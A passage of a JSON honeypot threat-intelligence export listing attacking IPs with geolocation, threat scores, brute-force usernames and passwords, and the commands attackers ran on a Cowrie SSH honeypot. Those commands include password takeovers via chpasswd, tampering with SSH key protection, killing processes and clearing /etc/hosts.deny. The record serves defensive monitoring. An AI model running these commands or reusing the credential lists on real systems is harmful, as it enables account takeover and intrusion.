        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 7506,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T11:29:05.846000+00:00",
        "last_seen_30d": "2026-04-01T12:32:24.612000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 46
      }
    },
    "45.78.194.186": {
      "attack_count": 206,
      "first_seen": "2026-04-30T03:55:49.205Z",
      "last_seen": "2026-04-30T05:52:30.976Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "administrator",
        "bitrix",
        "deploy",
        "git",
        "gpadmin",
        "guest",
        "guestguest",
        "mcadmin",
        "mysql",
        "postgres",
        "testing",
        "testuser"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "1234567890",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112233",
        "Admin123",
        "Passw0rd",
        "Password1",
        "a",
        "admin1234567890",
        "adminimda",
        "ftp321",
        "guest",
        "mcadmin",
        "pa$$w0rd123",
        "passw0rd",
        "passwd",
        "qwerty",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lockr -ia .ssh",
        "lscpu | grep Model",
        "uname",
        "uname -a",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "echo \"passw0rd\\nmULSYWIg9MAY\\nmULSYWIg9MAY\\n\"|passwd",
        "echo \"root:m9pM1dtJORMm\"|chpasswd|bash",
        "echo -e \"passw0rd\\nmULSYWIg9MAY\\nmULSYWIg9MAY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "which ls"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 270,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:55:49.205000+00:00",
        "last_seen_30d": "2026-04-30T05:53:36.963000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 206,
        "Suricata": 64
      }
    },
    "40.160.239.12": {
      "attack_count": 199,
      "first_seen": "2026-04-25T00:50:11.890Z",
      "last_seen": "2026-04-25T01:11:18.008Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bot",
        "farm",
        "testuser",
        "345gs5662d34",
        "aaa",
        "admin",
        "duser",
        "frappe",
        "josh",
        "nikita",
        "remote",
        "rolando",
        "root/1",
        "seekcy",
        "server",
        "sysadmin",
        "teamspeak",
        "test",
        "test01"
      ],
      "passwords_attempted": [
        "123",
        "12",
        "1233218613",
        "3245gs5662d34",
        "345gs5662d34",
        "Bot123!",
        "Joysuch@Locate2020",
        "P@$$w0rd1234",
        "P@$$w0rd4321",
        "Qa123456@",
        "Server31",
        "Teamspeak2026!@#",
        "Test",
        "admin06!",
        "bot31",
        "duser@123",
        "farm",
        "frappe06!",
        "josh",
        "rolando"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"farm\\nrEm5EHdi3Y1X\\nrEm5EHdi3Y1X\\n\"|passwd",
        "echo -e \"farm\\nrEm5EHdi3Y1X\\nrEm5EHdi3Y1X\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T00:50:11.890000+00:00",
        "last_seen_30d": "2026-04-25T01:12:26.149000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 61
      }
    },
    "172.190.13.234": {
      "attack_count": 178,
      "first_seen": "2026-04-08T05:41:45.010Z",
      "last_seen": "2026-04-08T08:45:40.610Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "bruce",
        "sasha",
        "serv",
        "sftptest1",
        "ttx",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "Default2025!",
        "Lapsus123$%",
        "Steam23!",
        "Test1234@",
        "User@2025",
        "bruce",
        "qazwsx2026#",
        "qwe123",
        "qwert2024",
        "sasha123",
        "serv",
        "sftptest1",
        "steam27!",
        "ttx2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Default2025!\\nQxjyyY5yLRFn\\nQxjyyY5yLRFn\\n\"|passwd",
        "echo -e \"Default2025!\\nQxjyyY5yLRFn\\nQxjyyY5yLRFn\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:41:45.010000+00:00",
        "last_seen_30d": "2026-04-08T08:46:50.077000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 79
      }
    },
    "121.179.119.204": {
      "attack_count": 168,
      "first_seen": "2026-04-02T12:33:18.795Z",
      "last_seen": "2026-04-02T13:46:04.489Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12Abcd",
        "3245gs5662d34",
        "345gs5662d34",
        "AA789",
        "Abcdef1234",
        "Bcd#123",
        "CcDd12!@",
        "Cde123!",
        "FFgg1234",
        "Gg12345",
        "HuaweiPassword",
        "Password112233",
        "QQ123QQ",
        "QQ2222",
        "SS123456",
        "User2024",
        "abc_1234",
        "asdfgh1",
        "oiuytrewq",
        "password1234!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:utlujECBUnZK\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangsan-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T12:33:18.795000+00:00",
        "last_seen_30d": "2026-04-02T13:47:06.087000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "150.95.30.186": {
      "attack_count": 168,
      "first_seen": "2026-04-02T10:45:26.615Z",
      "last_seen": "2026-04-02T11:52:16.050Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456Aa.",
        "12wqasxz",
        "1q2w3e!@#$",
        "3245gs5662d34",
        "345gs5662d34",
        "@!QAZ2wsx",
        "Aa.147258",
        "Abc123456789.",
        "Admin#123456",
        "Ah@123456",
        "PasswdNew",
        "Passwort1!",
        "Qwer!@#123",
        "Stepl0ss",
        "admin12",
        "chf",
        "core",
        "idc123zaqwsxcde",
        "linsheng",
        "master12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0kz2bfc0wLy2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 135161,
      "as_org": "GMO-Z com NetDesign Holdings Co., Ltd.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:45:26.615000+00:00",
        "last_seen_30d": "2026-04-02T11:53:18.187000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "151.33.87.246": {
      "attack_count": 168,
      "first_seen": "2026-04-03T06:53:18.039Z",
      "last_seen": "2026-04-03T08:11:20.815Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$qwer1234",
        "&UJM,ki8",
        "0011",
        "12345@Admin",
        "202437",
        "3245gs5662d34",
        "345gs5662d34",
        "ABCabc123456",
        "Asdfgh@123",
        "Hello123!",
        "P@ssword2025!",
        "Secure",
        "aadmin",
        "admindb",
        "ciaociao",
        "hesoyam2026",
        "master",
        "mm123456",
        "p@ssword@",
        "qwertyuiop0"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:iw6caZz9XlDr\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Turin",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:53:18.039000+00:00",
        "last_seen_30d": "2026-04-03T08:12:28.847000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "151.115.167.145": {
      "attack_count": 150,
      "first_seen": "2026-04-10T23:45:00.013Z",
      "last_seen": "2026-04-10T23:46:28.449Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "chinxmr",
        "dev",
        "dillof",
        "git",
        "mc",
        "oracle",
        "pilinux",
        "postgres",
        "server",
        "system",
        "test",
        "testuser",
        "ubnt",
        "ubuntu",
        "user",
        "zabbix"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234567890",
        "1qaz@wsx",
        "chi1234567890",
        "dev",
        "dillofsha256s",
        "git",
        "mc",
        "oracle",
        "pilinux123",
        "postgres",
        "redhat",
        "root",
        "server",
        "system",
        "test",
        "testuser",
        "toor"
      ],
      "commands_executed": [
        "uname -a ; echo 'vT'"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 211,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T23:23:19.447000+00:00",
        "last_seen_30d": "2026-04-10T23:47:34.481000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 61
      }
    },
    "51.15.60.231": {
      "attack_count": 150,
      "first_seen": "2026-04-21T22:02:53.661Z",
      "last_seen": "2026-04-21T22:05:53.748Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "chinxmr",
        "dev",
        "dillof",
        "git",
        "mc",
        "oracle",
        "pilinux",
        "postgres",
        "server",
        "system",
        "test",
        "testuser",
        "ubnt",
        "ubuntu",
        "user",
        "zabbix"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234567890",
        "1qaz@wsx",
        "chi1234567890",
        "dev",
        "dillofsha256s",
        "git",
        "mc",
        "oracle",
        "pilinux123",
        "postgres",
        "redhat",
        "root",
        "server",
        "system",
        "test",
        "testuser",
        "toor"
      ],
      "commands_executed": [
        "uname -a ; echo 'vT'"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T21:56:57.402000+00:00",
        "last_seen_30d": "2026-04-21T22:06:57.521000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 80
      }
    },
    "156.232.13.218": {
      "attack_count": 136,
      "first_seen": "2026-04-26T17:48:49.638Z",
      "last_seen": "2026-04-26T18:28:01.404Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "root1",
        "rootuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$1234",
        "1q1a1z2w2s2x3e3d3c",
        "2w4r6y8i0p",
        "6625329a!",
        "Digital2025",
        "P@ssword!123",
        "User@123",
        "almacen",
        "apoulain123",
        "bj123456",
        "chingchong",
        "money",
        "redhat90",
        "root12",
        "root123@",
        "root1_123",
        "root@2025",
        "root@888"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:48:49.638000+00:00",
        "last_seen_30d": "2026-04-26T18:29:03.167000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 53
      }
    },
    "196.189.51.7": {
      "attack_count": 133,
      "first_seen": "2026-04-26T21:10:39.346Z",
      "last_seen": "2026-04-26T22:05:55.727Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "Root"
      ],
      "passwords_attempted": [
        "1!2@3#",
        "1q2w3e.1234",
        "3245gs5662d34",
        "Aa12345619",
        "Google123!@#",
        "Linyou@2025",
        "c0v1d19",
        "cloud#2024",
        "idc!@",
        "imobile",
        "jblinux",
        "random()root!",
        "rhy123456",
        "root2025",
        "wsx345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:m5PJcQosIcCY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T21:10:39.346000+00:00",
        "last_seen_30d": "2026-04-26T22:06:58.124000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 38
      }
    },
    "140.246.70.45": {
      "attack_count": 74,
      "first_seen": "2026-04-14T03:56:35.155Z",
      "last_seen": "2026-04-16T17:18:08.971Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deployer",
        "git"
      ],
      "passwords_attempted": [
        "111",
        "1qaz@WSX",
        "Aa10202640",
        "Huawei@123",
        "Qazwsx2024",
        "minecraft@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T03:56:35.155000+00:00",
        "last_seen_30d": "2026-04-16T17:28:18.334000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 54
      }
    },
    "34.140.58.101": {
      "attack_count": 71,
      "first_seen": "2026-04-29T08:11:39.772Z",
      "last_seen": "2026-04-29T08:12:34.894Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 4483",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T08:11:39.772000+00:00",
        "last_seen_30d": "2026-04-29T08:13:44.772000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "101.126.4.10": {
      "attack_count": 66,
      "first_seen": "2026-04-14T00:38:38.072Z",
      "last_seen": "2026-04-14T01:22:24.666Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "awsftpuser",
        "dev",
        "runner",
        "sunil",
        "test",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "QAZxsw123",
        "Qwerty_123456",
        "Zxc123!@#",
        "abc1234",
        "admin",
        "awsftpuser",
        "dev2",
        "qazwsx654321!@#",
        "qwe123#",
        "sunil123",
        "test",
        "test123321"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:38:38.072000+00:00",
        "last_seen_30d": "2026-04-14T01:32:25.865000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 30
      }
    },
    "161.35.68.252": {
      "attack_count": 54,
      "first_seen": "2026-04-01T12:11:50.110Z",
      "last_seen": "2026-04-01T12:13:05.920Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "GET / HTTP/1.0",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Call-ID: 50000",
        "Content-Length: 0",
        "Max-Forwards: 70",
        "",
        "Contact: < sip:nm@nm >",
        "Contact: <sip:nm@nm>",
        "From: < sip:nm@nm >; tag=root",
        "From: <sip:nm@nm>;tag=root",
        "To: < sip:nm2@nm2 >",
        "To: <sip:nm2@nm2>"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
